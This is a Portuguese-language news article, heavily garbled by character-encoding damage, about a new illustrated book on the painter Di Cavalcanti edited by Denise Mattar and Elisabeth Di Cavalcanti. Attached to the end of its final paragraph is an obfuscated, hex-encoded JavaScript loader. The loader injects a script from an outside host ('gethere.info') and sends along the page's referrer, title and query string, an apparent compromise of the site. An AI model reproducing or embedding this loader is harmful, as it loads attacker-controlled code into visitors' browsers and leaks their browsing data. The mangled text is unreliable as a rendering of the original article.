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Pintor Di Cavalcanti ganha ediA�A?o esmeralda

“Eu sinto que, dentro de mim, hA? um poeta e um pintor. NA?o consigo sentir as coisas, todas as coisas, senA?o atravA�s de instantes de poesiaa�?, escreveu o pintor Di Cavalcanti (1897-1976). Ele conferiu dignidade A� beleza das mulheres brasileiras mestiA�as, da vida suburbana, das rodas de samba, das cenas cotidianas e da vida boA?mia do Rio de Janeiro. Com as lentes do lirismo,A� produziu freneticamente atA� morrer e constituiu um acervo de 9 mil obras. A A?ltima ediA�A?o de livro sobre Di foi publicada na dA�cada de 1980, mas, agora, o pintor ganha uma ediA�A?o esmerada, com o volume Di: O conquistador do lirismo (Ed. Capivara), organizado pela crA�tica Denise Mattar e pela filha do pintor, Elisabeth Di Cavalcanti.

Com reproduA�A�es de alta qualidade, o livro abrange o perA�odo de 1925 a 1945, em que o artista forja um estilo e um olhar de exploraA�A?o da brasilidade: a�?Sua obra, sem par na produA�A?o dos modernistas, tem, de fato, o cheiro, o sabor e a cor do Brasila�?, escreve Denise Mattar.

O livro funciona quase como uma retrospectiva desse perA�odo crucial de 24 anos de trabalho, com 189 obras. A� resultado de mais de 13 anos de pesquisa de Elisabeth, que trabalha arduamente para constituir o Instituto Di Cavalcanti. A ideia da Semana de Arte Moderna de 1922 partiu de Di: a�?Muito antes de MA?rio de Andrade, Di tinha consciA?ncia do que A� ser brasileiro e tinha, paralelamente, a pretensA?o de se liberar dos cA?nones entA?o vigentesa�?, escreve Elisabeth.

AlA�m disso, o livro resgata uma preciosa fortuna crA�tica, composta por textos raros, que constituem uma verdadeira aula de modernismo brasileiro. Entre outros, figuram Mario de Andrade, JosA� Lins do Rego, Maria Pedrosa, Murilo Mendes e Ronald de Carvalho. O perA�odo de 1925 a 1949 A� o de descoberta da realidade suburbana carioca, logo depois de viver algum tempo em Paris, ressalta Denise.var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

Publicação: Redação Brasil (m)

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